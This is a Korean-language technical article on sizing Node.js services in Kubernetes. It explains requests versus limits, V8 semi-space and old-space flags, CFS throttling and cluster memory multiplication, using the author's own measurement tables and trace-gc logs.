> - **HPA**(Horizontal Pod Autoscaler): 메트릭(CPU 사용률 등)을 보고 파드 개수를 자동으로 늘리고 줄이는 쿠버네티스의 표준 오토스케일러.
> - **bin-packing**: 스케줄러가 파드의 request를 보고 노드라는 상자에 빈틈없이 채워 넣는 배치. 노드 수와 비용을 정한다.

## 먼저 결론

내부로 들어가기 전에 요약부터 둔다. 이 정도만 남겨도 다음번 복사-붙여넣기를 멈출 수 있다.

- `request`는 스케줄러가 파드를 어디 꽂을지, 오토스케일러가 몇 개를 띄울지 정하는 **예약값**이다. `limit`은 예약이 아니라 **실제 사용량의 상한**이고, CPU 초과는 스로틀, 메모리 초과는 OOMKill로 갈린다. 둘 다 워크로드가 실제로 쓰는 양은 아니다.
- `--max-semi-space-size`는 New Space(young generation) **반공간 하나의 상한**이다. New Space는 반공간 2개(from/to)로 도니까, 커밋되는 New Space는 이 값의 **약 2배**까지 자란다. 256을 주면 512MB짜리 버퍼가 생긴다.
- 이 버퍼는 **시작할 때 잡히지 않는다.** 트래픽(할당)이 들어와야 상한까지 lazy하게 자란다. 그래서 idle에서는 멀쩡하다가 부하가 오면 RSS가 튄다. 이런 문제가 배포 직후가 아니라 트래픽이 붙고 나서야 알림으로 나타나는 이유다.
- 무서운 건 **live 데이터가 그대로여도 RSS가 커진다**는 점이다. trace-gc로 보면 GC 직후 살아남는 양은 설정과 무관하게 거의 그대로인데, semi 값만 16에서 256으로 올리자 GC 직전 힙은 30MB에서 278MB로 부풀었다. 데이터가 아니라 **버퍼**가 커진 것이다.
- 단일 Node 프로세스의 JS 연산은 **1코어에 갇혀 있다.** 순수 JS는 1코어에서 포화한다(실측 0.99코어). CPU가 더 필요하면 컨테이너를 키우는 게 아니라 **프로세스(파드)를 늘려야** 한다. 다만 GC 스레드 몫은 상수가 아니어서, 할당의 모양에 따라 0.03코어에서 2코어 이상까지 움직였다.
- cluster를 쓰면 위의 GC 예약이 **워커 수만큼 곱해진다.** 워커 4개면 `--max-semi-space-size=128` 하나가 총 1.7GB 안팎(순간 2GB 근처)으로 번졌다. 무거운 `NODE_OPTIONS`를 클러스터에 복사하는 건 같은 문제의 확장판이다.
- 파드 하나엔 **프로세스 하나, 약 1코어**가 기본이다. K8s를 유일한 슈퍼바이저로 두고 레플리카로 확장한다. pm2로 파드 안에 두 번째 슈퍼바이저를 중첩하면 OOMKill·크래시가 K8s 눈에서 사라진다.
- CPU **limit**은 CFS 스로틀로 이벤트 루프를 멈출 수 있다. 지연 민감 계층은 limit을 빼고 request만 잡되, **메모리 limit은 request와 같게** 둔다.
- request는 사용량이 아니라 **청구서**다. AWS는 파드가 아니라 노드 값을 받고, 노드 수는 request가 정한다. 부풀린 힙은 함대(fleet, 서비스의 전체 파드 무리) 규모로 곱해져 더 비싼 r 계열 노드가 된다.

각 항목의 근거가 본문이다. 서두의 그 한 줄부터 분해한다.

## request는 예약, limit은 상한이다

가장 먼저 깔아야 할 멘탈 모델이다. 쿠버네티스의 `resources.requests`와 `resources.limits`를 "우리 서비스가 이만큼 쓴다"로 읽으면 처음부터 어긋난다.

```yaml
resources:
  requests:
    cpu: '500m'
    memory: '256Mi'
  limits:
    cpu: '1'
    memory: '512Mi'
```

`requests`는 **스케줄링용 예약**이다. 스케줄러는 이 값만 보고 파드를 어느 노드에 꽂을지 정한다(bin-packing). 노드에 남은 `requests` 합이 부족하면 실제 사용량이 아무리 낮아도 파드는 그 노드에 못 들어간다. 오토스케일러(HPA, 그리고 뒤에서 다룰 KEDA)도 실제 사용량을 `requests` 대비 비율로 환산해 몇 개를 띄울지 계산한다. 즉 `requests`는 **배치와 스케일의 기준선**이다.

`limits`는 성격이 다르다. 실제 사용량의 상한(cap)이다. 그리고 여기서 CPU와 메모리가 **비대칭**으로 갈린다.

| 자원   | limit 초과 시                  | 강제 방식                     |
| ------ | ------------------------------ | ----------------------------- |
| CPU    | **스로틀링** (느려짐, 안 죽음) | CFS 쿼터로 시간 배분을 조인다 |
| 메모리 | **OOMKilled** (죽음)           | 커널이 프로세스를 종료한다    |

CPU는 시분할 자원이라 초과하면 나중에 주면 된다. 그래서 limit을 넘겨도 죽이지 않고 **느리게** 만든다(이 강제 장치가 CFS인데, 뒤에서 따로 다룬다). 메모리는 회수할 수 없는 자원이라 컨테이너가 limit을 넘기면 커널이 그냥 **죽인다.** 이 비대칭이 중요하다. 서두의 실측처럼 메모리가 593MB로 튀는데 컨테이너 limit이 512Mi라면, 서비스는 느려지는 게 아니라 재시작된다.

여기서 프론트엔드 개발자가 놓치기 쉬운 지점이 있다. Node 24는 고맙게도 **컨테이너의 메모리 limit(cgroup)을 읽어 기본 힙 크기를 자동으로 맞춘다.** 아무 플래그도 안 주면 V8은 사용 가능한(컨테이너에서는 cgroup으로 제약된) 메모리를 기준으로 기본 힙 상한을 잡는다. 제약이 작을수록 기본 상한도 작아진다는 게 핵심이다(정확한 비율은 Node 버전과 환경마다 다르니 파드에서 직접 확인하는 게 안전하다). 문제는 이 자동 조정이 **해당 힙 플래그를 명시하는 순간, 그 플래그 몫부터 꺼진다**는 것이다. 두 플래그의 자동 조정은 서로 독립적이라 명시한 쪽만 꺼지는데, 서두의 한 줄은 둘 다 명시해서 둘 다 껐다. 자세한 메커니즘과 실측 증거는 Old Space 절에서 본다.

정리하면 조절할 수 있는 값은 두 층에 있다. 쿠버네티스의 `requests`/`limits`가 바깥 경계고, `NODE_OPTIONS`의 GC 플래그가 그 안에서 V8이 얼마나 메모리를 쓸지 정한다. 서두의 한 줄은 바깥은 그대로 둔 채 안쪽 플래그만 무겁게 바꾸는 경우로, 안쪽이 바깥 경계를 밀어내게 된다. 안쪽부터 열어보자.

## New Space는 시작할 때 예약되지 않는다

V8 힙은 크게 두 세대로 나뉜다. 새로 만든 객체가 태어나는 **New Space**(young generation)와, 거기서 살아남은 객체가 승격돼 오래 머무는 **Old Space**(old generation)다. 대부분의 객체는 금방 죽으므로 V8은 New Space를 아주 빠른 GC로 자주 청소하고(Scavenge, 마이너 GC), 살아남은 소수만 Old Space로 올린다.

`--max-semi-space-size`가 건드리는 건 이 New Space다. 이름에 semi-space가 들어간 이유가 핵심이다. New Space는 **반공간(semi-space) 두 개**로 이뤄진다. `from`과 `to`라고 부른다. Scavenge는 Cheney 알고리즘으로 도는데, `from`에 있는 살아있는 객체만 `to`로 복사하고 `from`을 통째로 비운 뒤 둘의 역할을 바꾼다. 항상 절반은 복사 대상지로 비워둬야 하므로, 물리적으로는 **반공간 2개를 다 커밋**하고 있어야 한다.

그래서 `--max-semi-space-size=256`은 "New Space를 256MB로"가 아니다. "**반공간 하나를 최대 256MB로**"다. 실제 커밋되는 New Space 상한은 그 2배인 512MB에 가깝다. 직접 재보면 이 2배 관계가 그대로 나온다.

| `--max-semi-space-size` | New Space 최대 커밋 | peak RSS | 실제 생존 데이터(Old Space) |
| ----------------------: | ------------------: | -------: | --------------------------: |
|                 default |              128 MB |   201 MB |                     20.3 MB |
|                      16 |               32 MB |   104 MB |                     20.3 MB |
|                      64 |              128 MB |   201 MB |                     20.3 MB |
|                     128 |              256 MB |   332 MB |                     20.4 MB |
|                     256 |              512 MB |   593 MB |                     20.3 MB |

읽는 법이 있다. 세로로 New Space 열을 보면 정확히 semi 값의 2배다. 16→32, 64→128, 128→256, 256→512. Node 24의 기본값은 메모리 제약이 없는 내 노트북에선 semi 64MB 수준이라(위 표에서 default 행이 semi=64 행과 완전히 같다) 예전에 흔히 알려진 16MB보다 이미 크다. 그런데 컨테이너 안에서는 V8이 이 기본값을 **메모리 limit에 맞춰 훨씬 작게** 잡는다. [Node 공식 문서](https://nodejs.org/docs/latest-v24.x/api/cli.html#--max-semi-space-sizesize-in-mib) 기준으로 512MiB limit에서는 기본 semi가 **1MiB**까지, 2GiB 이하에서는 16MiB 미만으로 내려간다. 그리고 `--max-semi-space-size`를 명시하면 그 축소가 무시되고 값이 그대로 쓰인다. 즉 작은 파드에서 256을 박는 건 기본값 대비 수십 배, 512MiB 파드 기준으로는 **256배**를 키우는 셈이다.

> 참고로 V8이 **힙 상한을 계산**할 때 young generation 몫은 semi의 2배가 아니라 **3배**로 잡는다. 반공간 2개에 더해, 큰 신생 객체가 가는 new large object space 몫을 semi 하나만큼 더 예약하기 때문이다(공식 문서가 인용하는 V8의 `YoungGenerationSizeFromSemiSpaceSize`). 실제로 이 기기에서 `v8.getHeapStatistics().heap_size_limit`을 재보면 기본 4288MiB(= old 상한 4096 + 3×64), semi=128이면 4480(= 4096 + 3×128), semi=256이면 4864MiB(= 4096 + 3×256)로 정확히 3배 산술을 따라 움직인다. 커밋되는 New Space 자체(from/to)는 위 표의 실측처럼 2배로 보면 된다.

그런데 진짜 중요한 건 **맨 오른쪽 열**이다. semi를 16에서 256으로 16배 키우는 동안, 실제로 살아남은 데이터(Old Space)는 **20MB 안팎으로 요지부동**이다. 워크로드는 그대로다. 커진 건 오직 New Space 버퍼뿐이고, 그 버퍼가 그대로 RSS로 올라온다. semi=256에서 RSS는 593MB까지 갔는데, 기본값(201MB)의 3.0배다. 서두에서 본 두 숫자의 정체가 이것이다. 커진 것은 데이터가 아니라 버퍼다.

그리고 부하를 걸기 전 idle 상태의 RSS는 semi 값과 무관하게 같았다. 맨 Node 프로세스 기준 40MB인데, semi=256을 줘도 똑같이 40MB다. New Space 버퍼는 **시작할 때 예약되지 않는다.** 할당이 들어와 Scavenge가 돌면서 상한까지 lazy하게 자란다. 그래서 이 문제는 배포 직후가 아니라 트래픽이 붙은 뒤에 드러난다. 배포 시점에 idle 그래프만 보고 문제없다고 판단하면, 알림은 한참 뒤에 온다.

> 한 문장으로: **`--max-semi-space-size`는 실제 데이터가 아니라 GC가 쓸 여유 버퍼의 크기다.** 데이터가 작아도 버퍼는 정직하게 그 크기만큼 메모리를 먹는다.

### trace-gc가 보여주는 물증

`--trace-gc`를 켜면 이게 로그에 그대로 찍힌다. 같은 할당 부하를 semi=16과 semi=256으로 각각 돌렸을 때의 Scavenge 로그다.

```text
# --max-semi-space-size=16
Scavenge  30.3 (47.3)  -> 16.9 (47.3)  MB  ...

# --max-semi-space-size=256
Scavenge 278.5 (535.8) -> 29.6 (535.8) MB  ...
```

읽는 법을 정확히 해둘 필요가 있다. 화살표 **왼쪽**은 GC 직전, **오른쪽**은 GC 직후의 값이고, 괄호는 커밋된 크기다. 주의할 점은 이 숫자가 New Space만이 아니라 **Old Space까지 합친 V8 힙 전체**라는 것이다(처음엔 나도 New Space 크기로 잘못 읽었다).

그 전제로 다시 보면 두 가지가 보인다. 첫째, 오른쪽(GC 직후)은 두 경우 모두 17~30MB 수준으로 비슷하다. 이 안에는 Old Space에 상주하는 캐시 약 20MB가 들어 있으니, 실제 생존 데이터의 양은 설정과 무관하다는 뜻이다. 둘째, 왼쪽(GC 직전)은 30MB 대 278MB로 9배 차이가 난다. Old Space 몫을 빼고 셈해 보면 Scavenge 직전 New Space에 쌓여 있던 단명 객체가 각각 약 16MB와 약 258MB인데, 이는 반공간 하나의 크기(16MB/256MB)와 정확히 맞아떨어진다. 반공간이 차야 Scavenge가 돌기 때문이다. 덤으로 semi=256의 괄호(535.8MB)는 커밋된 힙 크기인데, 512MB짜리 New Space 버퍼가 그대로 들어 있는 물증이다.

semi를 키운다는 건 "New Space가 이만큼 찰 때까지는 청소하지 말고 놔둬라"는 지시다. 무거운 서비스에서는 이게 이득일 수 있다. GC를 덜 돌리니 CPU를 아끼고 지연이 줄어든다. 하지만 그 대가는 **상시 커밋된 큰 버퍼**다. 가벼운 서비스는 그 지연 이득을 누릴 만큼 할당이 많지도 않으면서, 버퍼 비용만 고스란히 문다. 같은 설정이 무거운 서비스에서는 튜닝이 되고 가벼운 서비스에서는 낭비가 되는 이유가 이 **모양**의 차이다.

## Old Space는 트래픽이 정한다, 그리고 상한은 예약이 아니다

서두 한 줄의 나머지 절반, `--max-old-space-size=3072`도 짚어야 한다. 여기서 흔한 오해가 하나 있다. "3072를 줬으니 3GB를 예약하는구나."

아니다. `--max-old-space-size`는 **상한(ceiling)이지 예약(reservation)이 아니다.** Old Space는 New Space에서 승격돼 살아남은 객체들이 쌓이는 곳이라, 실제 크기는 **얼마나 많은 객체가 오래 사느냐**, 즉 트래픽과 데이터 보존에 따라 정해진다. 캐시를 많이 들고 있거나 요청당 큰 객체를 오래 붙잡으면 커지고, 금방 버리면 작다. 3072를 줘도 실제로 그만큼 안 쓰면 그만큼 안 잡힌다. 이 글의 실측에서도 Old Space는 20MB 안팎에 머물렀다. `--max-old-space-size=3072`는 서두의 메모리 증가에 거의 기여하지 않았다. 범인은 `--max-semi-space-size` 쪽이었다.

그렇다고 `--max-old-space-size`가 무해한 건 아니다. 진짜 문제는 이게 **Old Space에 대한 Node의 컨테이너 인식을 꺼버린다**는 데 있다. 앞 절에서 봤듯 Node 24는 플래그가 없으면 컨테이너 메모리에 맞춰 Old Space 상한을 알아서 잡는다. 그런데 `--max-old-space-size=3072`를 주면 그 자동 조정이 사라지고, 컨테이너가 512Mi든 8Gi든 상관없이 상한이 3GB로 고정된다. 컨테이너 limit이 3GB보다 작으면 V8은 아직 여유 있다고 믿으며 힙을 키우다가, 커널이 먼저 프로세스를 죽인다.

앞에서 말한 "명시한 플래그만 꺼진다"의 실측 증거도 여기 둔다. 이 기기에서 `heap_size_limit`을 조합별로 재보면 이렇게 나온다.

```text
플래그 없음                                : 4288 MiB  (old 4096 + 3×semi 64, 둘 다 자동)
--max-semi-space-size=256 만              : 4864 MiB  (old 상한 4096은 그대로 유지)
--max-old-space-size=3072 만              : 3264 MiB  (semi 기본 64가 그대로 유지)
둘 다 명시                                 : 3840 MiB  (3072 + 3×256, 자동 조정 전멸)
```

한쪽만 명시하면 다른 쪽의 자동 감지는 살아 있다. 참고로 플래그 없음의 4288MiB는 cgroup 제약이 없는 로컬 기준 값이고, 컨테이너 안에서는 이보다 훨씬 작게 잡힌다.

여기서 죽음이 두 종류로 갈린다. V8이 자기 힙 상한에 부딪히면 `FATAL ERROR: ... JavaScript heap out of memory`를 JS 스택과 함께 던진다. V8 힙 OOM이다. 반면 컨테이너 cgroup limit을 넘기면 커널이 SIGKILL을 보내고, 컨테이너는 exit code 137에 `OOMKilled`로 죽는다. JS 스택은 없다. 후자가 훨씬 흔하고 원인 찾기도 더 어렵다. 로그에 아무것도 안 남고 파드가 그냥 재시작되기 때문이다.

그래서 실무 규칙은 단순하다. **컨테이너 힙은 플래그로 강제하기보다 Node의 컨테이너 인식에 맡기거나, 굳이 정한다면 컨테이너 limit보다 낮게 논힙(non-heap) 여유를 남기고 잡는다.** 이걸 위해 Node에는 `--max-old-space-size-percentage`(사용 가능한, 컨테이너에서는 cgroup 제약 메모리의 %로 old space를 지정)도 있다.

논힙이라는 말이 나왔으니 마저 짚자. RSS는 V8 힙만이 아니다. New Space + Old Space 외에도 컴파일된 코드, `ArrayBuffer`/`Buffer` 같은 외부 메모리, 네이티브 애드온, 스레드 스택이 다 RSS에 잡힌다. 두 GC 플래그는 이 논힙을 하나도 통제하지 못한다. 그래서 `--max-old-space-size`를 컨테이너 limit과 똑같이 맞추면 안 되고, 논힙 몫만큼 항상 여유를 남겨야 한다.

> 한 문장으로: **New Space는 "설정이 정하는" 고정 버퍼, Old Space는 "트래픽이 정하는" 가변 데이터다.** 그래서 메모리 사이징은 설정과 컨테이너를 함께 움직여야 한다.

## 쉬어가기 ①: 여기까지의 메모리 이야기

내부 용어가 한꺼번에 나왔으니 잠깐 쉬면서, 식당에 비유해 정리해 둔다.

| V8 세계                     | 식당 비유                                                         |
| --------------------------- | ----------------------------------------------------------------- |
| New Space 버퍼 (`semi` × 2) | 설거지통 크기. **사장(설정)이 정한다**                            |
| Old Space                   | 냉장고 속 재료. **손님(트래픽)이 정한다**                         |
| Scavenge                    | 설거지통이 차면 하는 설거지. 통이 클수록 횟수는 줄지만            |
| RSS                         | 주방 전체 면적. 설거지통을 키우면 재료가 그대로여도 주방이 커진다 |
| 컨테이너 메모리 limit       | 임대한 매장 면적. 주방이 이걸 넘으면 강제 퇴거(OOMKill)           |

기억할 것은 세 가지다. 첫째, `--max-semi-space-size`는 데이터가 아니라 **설거지통(버퍼)의 크기**라서, 손님이 그대로여도 그만큼 메모리를 먹는다. 둘째, 이 통은 **장사가 시작돼야(트래픽이 붙어야)** 상한까지 커진다. 셋째, `--max-old-space-size`는 예약이 아니라 상한이지만, 명시하는 순간 **컨테이너 크기에 맞춰주는 자동 조정이 꺼진다**. 여기까지가 메모리 편이고, 다음은 CPU 편이다.

## 단일 Node 프로세스의 CPU 천장

메모리를 봤으니 CPU로 넘어간다. 여기엔 프론트엔드 개발자가 자주 걸려 넘어지는 직관 오류가 있다. "파드가 느리니 CPU limit을 4로 올리자."

Node.js는 그렇게 동작하지 않는다. 자바스크립트는 **단일 스레드**(이벤트 루프)에서 돈다. 그래서 순수 JS 연산은 아무리 바빠도 **1코어**를 넘지 못한다. 직접 재보면 깔끔하게 나온다. 측정은 `cores used = CPU 시간 / 벽시계 시간`으로 계산했다.

| 워크로드                                    | 벽시계(ms) | CPU(ms) | cores used |
| ------------------------------------------- | ---------: | ------: | ---------: |
| 순수 JS 연산 (단일 스레드)                  |       3000 |    2984 |   **0.99** |
| JS + 단명 할당 (SSR 유사, 대부분 즉시 죽음) |       3000 |    3049 |   **1.02** |
| JS + 대량 생존 할당 (승격 압박, 병렬 GC)    |       3000 |    9625 |   **3.21** |
| 비동기 crypto ×16 (스레드풀 4)              |        235 |     920 |   **3.91** |
| 비동기 crypto ×16 (스레드풀 8)              |        157 |    1170 |   **7.45** |

첫 줄이 핵심이다. 순수 JS는 1코어에서 포화한다. 둘째 줄처럼 SSR과 비슷하게 **대부분 금방 죽는** 객체를 대량으로 할당해도 1.02코어로 거의 늘지 않는다. 그런데 셋째 줄이 이번 측정의 발견이었다. 오래 살아남는 객체를 대량으로 만들어 승격을 압박하자, V8의 병렬 Scavenge와 동시 마킹 스레드가 붙으면서 **3.21코어**까지 올라갔다. 자주 인용되는 "약 1.25코어"는 JS 1코어에 GC·JIT 몫을 얹은 어림값인데, Node나 V8 어디에도 근거가 없는, 공식 상수가 아닌 값일 뿐 아니라, 그 GC 몫 자체가 상수가 아니라 **할당의 모양**을 탄다. 단명 위주면 0.03코어 수준이고, 승격이 많으면 2코어를 넘긴다. React SSR의 문자열 렌더링은 렌더 중 만드는 객체 대부분이 단명이라 실전에서는 1코어 근처에서 노는 경우가 많고, 흔히 보는 0.1~0.3코어의 초과분은 요청당 압축·crypto 같은 부수적 스레드풀 오프로드가 얹힌 값에 가깝다.

그럼 3.91, 7.45는 뭔가. `crypto.pbkdf2`, `zlib`, 파일 I/O처럼 **libuv 스레드풀로 내려가는** 작업들이다. 이것들만은 스레드풀 크기(`UV_THREADPOOL_SIZE`, 기본 4)만큼 여러 코어를 쓸 수 있다. 하지만 SSR의 컴포넌트 렌더링, JSON 직렬화, 템플릿 조립은 전부 JS 메인 스레드에서 돈다. 스레드풀로 안 내려간다. 그래서 프론트엔드 서비스의 CPU 병목은 거의 항상 저 1코어 벽이다.

그래서 "1.25코어"는 CPU **request**의 출발점으로는 괜찮지만, 그걸 **limit**으로 못박으면 위험하다. 응답을 gzip/brotli로 압축하거나(zlib) 토큰을 해싱하는(crypto) 서비스는 스레드풀로 정당하게 1코어를 넘겨 쓰고, 승격이 많은 순간엔 GC 스레드도 코어를 먹는다. 그 상태에서 꽉 조인 CPU limit은 CFS 스로틀로 되돌아온다. "1.25코어를 넘을 리 없다"는 가정이 틀리는 지점이다.

결론은 방향이 다르다는 것이다. **JS CPU가 부족하면 컨테이너를 키우는 게 아니라 프로세스를 늘려야 한다.** 파드를 더 띄우거나(수평 확장), 한 파드 안에서 cluster로 워커를 늘리는 것이다. CPU limit을 2, 4로 올려봐야 단일 이벤트 루프는 그중 1코어어치밖에 못 쓴다. 나머지는 예약만 하고 노는 자원이다.

## CFS 스로틀: CPU limit이 이벤트 루프를 세운다

앞에서 "1코어를 limit으로 못박으면 위험하다"고 했는데, 그 메커니즘이 CFS(Completely Fair Scheduler, 리눅스 커널이 CPU 시간을 프로세스들에 나눠주는 스케줄러) 스로틀이다. 알아둘 값어치가 있다.

쿠버네티스의 CPU limit은 커널의 CFS 쿼터로 강제된다. 방식은 이렇다. 기본 100ms(`cpu.cfs_period_us=100000`)마다 컨테이너에 `limit_cores × 100ms`만큼의 CPU 시간을 준다. limit이 1코어면 100ms 주기마다 100ms어치를 쓸 수 있다. 그 쿼터를 주기 안에서 다 쓰면, **노드에 놀고 있는 코어가 아무리 많아도** 다음 주기까지 그 컨테이너는 멈춘다.

여기서 Node가 취약한 이유가 나온다. JS는 단일 스레드지만 프로세스는 그렇지 않다. 앞에서 본 libuv 스레드풀(gzip/brotli 압축, crypto)과 V8의 동시 GC·JIT 스레드가 짧은 순간 여러 코어를 동시에 쓴다(위 CPU 표의 "승격 압박" 행이 정확히 이 그림이다. GC 스레드가 붙자 프로세스가 3코어를 넘겼다). 요청이 몰려 GC가 돌고 응답 압축이 겹치는 100ms 창에서 1코어 쿼터는 순식간에 바닥나고, 그러면 **이벤트 루프 스레드까지 통째로 멈춘다.** 평균 사용률은 60%인데 p99 지연이 튀는 전형적인 그림이 이거다. 평균은 스로틀을 숨긴다.

그래서 지연에 민감한 Node 계층에는 실무에서 **CPU limit을 빼고 request만 정직하게 잡는** 처방이 흔하다. AWS EKS 모범 사례 문서도 "CPU에는 resource limit을 걸지 말라"고 대놓고 권한다. request는 스케줄링과 공정 분배의 기준으로 남기고, limit은 없애 버스트를 허용하는 것이다. 대신 시끄러운 이웃(noisy neighbor) 격리와 Guaranteed QoS를 잃는 트레이드오프가 있으니, 멀티테넌시가 빡빡하면 limit을 request보다 넉넉히 위로 잡아 스로틀이 안 걸리게 하는 절충도 있다. 어느 쪽이든 **메모리 limit은 request와 같게 유지한다.** 메모리는 압축 불가 자원이라 초과하면 스로틀이 아니라 OOMKill이니까.

> **QoS 클래스**: 파드의 request/limit 설정으로 쿠버네티스가 매기는 등급(Guaranteed/Burstable/BestEffort). request와 limit이 같으면 Guaranteed다. 노드가 메모리 압박을 받을 때 어떤 파드를 먼저 축출할지가 이 등급으로 갈린다.

그리고 `container_cpu_cfs_throttled_periods_total`은 지켜볼 만한 값이다. 전체 주기 대비 스로틀된 주기 비율이 경험적 눈금인데, 5%를 넘으면 지연에 영향이 나타나기 시작하고 20%를 넘으면 사용자가 체감하는 수준이라고 알려져 있다.

> 한 문장으로: **CPU limit은 "이만큼까지 빨라도 돼"가 아니라 "이만큼 쓰면 멈춰"다.** 버스트가 정상인 Node에는 특히 아프다.

## 트래픽은 파드 수가 흡수한다

여기서 자연스럽게 세 번째 멘탈 모델이 나온다. **트래픽 스파이크는 파드당 메모리 버퍼가 아니라 파드 수가 흡수한다.**

오토스케일링이 걸려 있는 서비스의 그래프를 보면 이게 잘 드러난다. 하루 동안 트래픽이 몇 배로 출렁여도, 파드당 워크로드(메모리, 처리 시간)는 좁은 범위 안에서만 움직인다. 트래픽이 8배가 된다고 파드 하나가 8배 일하는 게 아니다. 파드 **개수**가 늘어 부하를 나눠 가지고, 파드 하나는 여전히 비슷한 양의 요청을 처리한다.

이게 왜 중요한가. "스파이크에 대비해 파드 메모리를 넉넉히 잡자"는 흔한 대응이 **틀린 방향**이기 때문이다. 파드당 메모리를 두 배로 키워도 스파이크는 막지 못한다. 스파이크는 동시 요청 수의 문제고, 그건 수평 확장(파드 수)으로 흡수하는 것이다. 파드당 메모리를 키우는 건 앞에서 본 GC 버퍼처럼 **상시 비용만 늘리고 스파이크 대응력은 안 준다.** 넉넉함으로 대비할 곳은 파드당 버퍼가 아니라 **오토스케일링의 여유와 속도**다.

### 트래픽이 정말로 메모리를 차지하는 워크로드

물론 이 말에는 전제가 있다. **파드당 메모리가 동시 요청 수에 비례해 자라지 않아야** 한다는 것이다. 요청을 받고, 렌더하고, 응답을 보내면 끝나는 무상태 SSR/BFF는 대체로 이 전제를 만족한다. 요청 하나의 컨텍스트는 수십 ms에서 수백 ms만 살다 죽으니, 어느 순간이든 파드가 붙잡고 있는 메모리는 크지 않다. 하지만 트래픽이 그대로 파드 메모리가 되는 워크로드도 분명히 있다.

- **커넥션을 오래 물고 있는 경우.** WebSocket, SSE(Server-Sent Events), long polling은 연결 하나마다 소켓 버퍼와 세션 객체가 파드에 상주한다. 동시 접속 1만이면 그 1만 연결 몫의 메모리가 계속 잡혀 있다. 더 까다로운 건 연결이 특정 파드에 붙어 있어서, **파드를 늘려도 이미 맺어진 연결은 새 파드로 옮겨가지 않는다**는 점이다. 스케일 아웃이 신규 연결에만 듣는다.
- **페이로드를 통째로 버퍼링하는 경우.** 큰 업로드나 다운로드를 스트리밍하지 않고 메모리에 다 올려서 처리하면, 사용량이 동시 요청 수 × 페이로드 크기로 자란다. 느린 클라이언트에 큰 응답을 보내면서 스트림 backpressure(소비 속도에 맞춰 생산을 늦추는 것)를 무시해도 같은 일이 벌어진다.
- **다운스트림이 느려져 in-flight 요청이 쌓이는 경우.** 뒤의 API가 밀리면 처리 중인 요청의 컨텍스트가 파드 안에 계속 쌓인다. 지연이 큐잉으로, 큐잉이 메모리로 바뀌는 순간이다.
- **트래픽에 비례해 자라는 인메모리 상태.** 상한 없는 캐시나 사용자별 세션을 프로세스 메모리에 두면, 이번엔 Old Space가 트래픽을 따라간다.

이런 워크로드라면 파드당 메모리를 트래픽과 무관한 상수로 볼 수 없다. 그렇다고 해법이 "메모리를 넉넉히"로 돌아가는 건 아니라고 생각한다. 방향은 **파드당 수용량을 상수로 만들어, 다시 개수의 문제로 되돌리는 것**이다. 연결형 워크로드는 파드당 최대 연결 수를 정해 두고 연결 수 자체를 스케일 신호로 쓴다(뒤에 나올 KEDA가 이런 커스텀 신호에 강하다). 페이로드는 스트리밍으로 흘려보내 버퍼링을 없애고, 다운스트림 지연에는 타임아웃과 동시성 상한을 걸고, 캐시는 상한(LRU)을 두거나 Redis 같은 외부 저장소로 뺀다. 파드당 사용량이 예측 가능해야 메모리 limit도, 스케일 계산도 성립한다.

단 두 가지 단서가 붙는다. 첫째, 이 자동 흡수는 **트래픽과 상관있는 신호로 스케일할 때만** 성립한다. CPU나 요청 수(RPS)로 스케일해야지, **메모리로 스케일하면 Node에서는 깨진다.** V8 RSS는 트래픽이 빠져도 잘 안 내려가기 때문이다. 힙을 고수위로 잡아두고 페이지를 OS에 아주 느리게만 반납한다. 그래서 메모리 기반 HPA는 Node를 제대로 올리지도 내리지도 못한다. 둘째, 오토스케일러는 반응이 느리다. HPA 동기화 주기는 기본 15초고 새 파드가 뜨는 데는 콜드 스타트(새 파드가 떠서 첫 요청을 받기까지의 준비 시간)까지 수십 초가 걸린다. 그 사이 갑작스러운 스파이크의 **앞머리는 결국 기존 파드의 여유가 큐잉으로 받아낸다.** 그래서 `minReplicaCount`로 바닥을 깔아두는 여유는 여전히 필요하다. 넉넉함을 파드당 힙 버퍼에 두지 말라는 것이지, 아무 여유도 두지 말라는 게 아니다.

## cluster를 쓰면 예약이 곱해진다

CPU 천장을 뚫으려고 cluster를 쓰기로 했다고 하자. 한 파드 안에서 워커 프로세스를 여럿 띄워 여러 코어를 쓰는 방식이다. 여기서 서두의 문제가 **곱셈으로 재발**한다.

cluster의 각 워커는 **독립된 V8 인스턴스**다. JS 힙을 공유하지 않는다. 그러니 앞에서 본 GC 예약, 즉 New Space 버퍼도 워커마다 따로 문다. `--max-semi-space-size=128`을 걸고 워커 수를 늘리며 같은 부하에서 총 RSS를 재봤다.

| 워커 수 | primary RSS | 워커당 peak RSS    |       총 RSS |
| ------: | ----------: | ------------------ | -----------: |
|       1 |       43 MB | 333                |       376 MB |
|       2 |       43 MB | 333, 334           |       710 MB |
|       4 |       45 MB | 333, 334, 628, 631 | 1672~1970 MB |

primary는 43MB 안팎으로 고정이고, 워커 하나가 약 333MB(semi=128의 New Space 256MB + 캐시와 베이스)를 문다. 워커가 늘면 총 메모리는 그만큼 **선형으로 곱해진다.** 그런데 4워커에서는 그보다 나쁜 현상도 반복해서 관찰됐다. 코어 경쟁으로 major GC가 밀린 일부 워커가 순간 630MB 안팎까지 튀면서, 총합이 1.7GB에서 2GB 근처를 오갔다. 곱셈은 선형에서 끝나지 않고, 붐비면 더 나빠질 수 있다는 뜻이다.

여기가 진짜 위험한 버전이다. 무거운 `NODE_OPTIONS`가 단일 프로세스에서 메모리를 3배로 만들었다면, **cluster에서는 그 배수가 다시 워커 수만큼 곱해진다.** `--max-semi-space-size`를 크게 잡은 채 워커를 8개 띄우면 New Space 버퍼만으로 수 GB가 상시 예약된다. 클러스터에서는 GC 플래그를 오히려 **더 보수적으로** 잡을 필요가 있다.

> 한 문장으로: **cluster는 CPU를 곱하는 대신 메모리 예약도 곱한다.** 워커 수와 `NODE_OPTIONS`는 항상 같이 계산해야 한다.

## 쉬어가기 ②: 여기까지의 CPU 이야기

CPU 편도 비유로 눌러 담아 둔다. Node 프로세스는 계산대가 하나뿐인 가게다.

- **JS는 계산대 하나.** 점원(이벤트 루프)이 아무리 빨라도 1코어 이상은 못 쓴다. 계산이 밀리면 계산대를 넓히는 게 아니라 **지점(파드)을 늘리는** 것이 해법이다.
- **스레드풀은 포장 전담 알바.** 압축(zlib)이나 암호화(crypto) 같은 특정 작업만 뒤로 넘겨 여러 코어를 쓴다. SSR 렌더링은 여기 못 넘긴다.
- **GC는 청소 로봇.** 평소엔 존재감이 없지만(단명 할당 +0.03코어), 오래 두는 물건이 많아지면 여러 대가 동시에 돌며 코어를 먹는다(실측 최대 +2코어 이상).
